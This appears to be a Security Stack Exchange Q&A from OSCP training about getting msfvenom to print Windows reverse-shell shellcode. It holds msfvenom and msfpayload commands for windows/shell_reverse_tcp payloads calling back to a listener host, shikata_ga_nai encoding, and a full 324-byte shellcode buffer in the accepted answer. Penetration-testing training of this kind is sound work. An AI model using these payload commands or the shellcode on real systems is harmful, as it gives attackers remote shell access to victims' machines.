2

I'm doing the Windows Buffer Overflow Exploitation section of the OSCP course, and the author uses a combination of msfpayload and msfencode to generate a windows/shell_reverse_tcp payload encoded with shikata ga nai. This is the command that he uses:

msfpayload windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 R | msfencode -b '\x00\x0a\x0d' -e x86/shikata_ga_nai

The terminal displays the following encoded shellcode output:

x86/shikata_ga_nai succeeded with size 351 (iteration=1)
buf = 
"\xda\xc1\xba\x9d\x4a\x66\xd4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x52\x83\xeb\xfc\x31\x53\x13\x03\xce\x59\x84\x21\x0c" +
"\xb5\xca\xca\xec\x46\xab\x43\x09\x77\xeb\x30\x5a\x28\xdb" +
…………
…………
"\x76"

I can then copy the generated shellcode to my Python script and continue with the exploitation process of an application.

I know that both msfpayload and msfencodeare deprecated, and MSFvenom should be used instead. This is the command that I'm using to achieve the same result as stated above.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f raw

This is the output that I get in the terminal:

���t$����9�X3ɱR1P ��� ���`� �� �� ��>pwZ�WdV��E�Y�V��L��ή�( �!T��� ] ^��~����.����cPN�`] bR)����0� !H̥�?$�g8����7uî����QfΡd�e��J�W�hm3m 4��-&B��-o��l� ��ʗ7ig_�n�Jf�wu�)�!�A J���� �4p��� ���¬���7G¬��0¬A�B¬D
……
�� �N&�

As you can see I don’t get the actual shellcode output. What am I doing wrong? I would like to get MSFvenom to output the shellcode that I can copy to my Python script.

7
  • 1
    Have you looked at the output formats? – schroeder Sep 2 '15 at 16:39
  • 2
    Yes. I can reproduce this at my end. Will generate an issue at the Metasploit github pages. Please use -f python for now to generate the payload for your python script. It is working fine. – void_in Sep 2 '15 at 16:55
  • @void_in. Thanks for your reply. So the issue is with msfvenom itself, and not with the command I'm using. – Alex Sep 2 '15 at 17:17
  • 1
    @Alex Talked to HD regarding this and actually this is the expected behavior. Raw output is displayed on stderr and since it will have non-printable characters, it won't be displayed on screen. You either have to generate the payload in a particular format (python, c, ruby etc) or redirect the output to a file. msfvenom -p <payload> -o output.bin should work fine for raw. Still you will need a hex editor to examine the output. – void_in Sep 2 '15 at 17:23
  • 1
    I'm currently also doing the OSCP training. I use the -f c switch and my payloads work perfectly. – Jeroen Sep 2 '15 at 17:40
6

You are using a wrong switch. This should work, tried and tested during OSCP training:

root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.51 LPORT=443 -f c
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x0c\x33\x68"
"\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
root@kali:~# 
0

You seem to be missing an "-i" flag. This flag tells the encoder how many times it is supposed to run. Not sure if it is required or the source for your problem but it could be. Also: I like to allways output shellcode in py with "-f py" and to a file so I can remove the "buf += " with find and replace. Also I like to add a "-a (x86 or x64)" and a "--platform (windows)" flag just because of the odd chance that something might go wrong without these.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.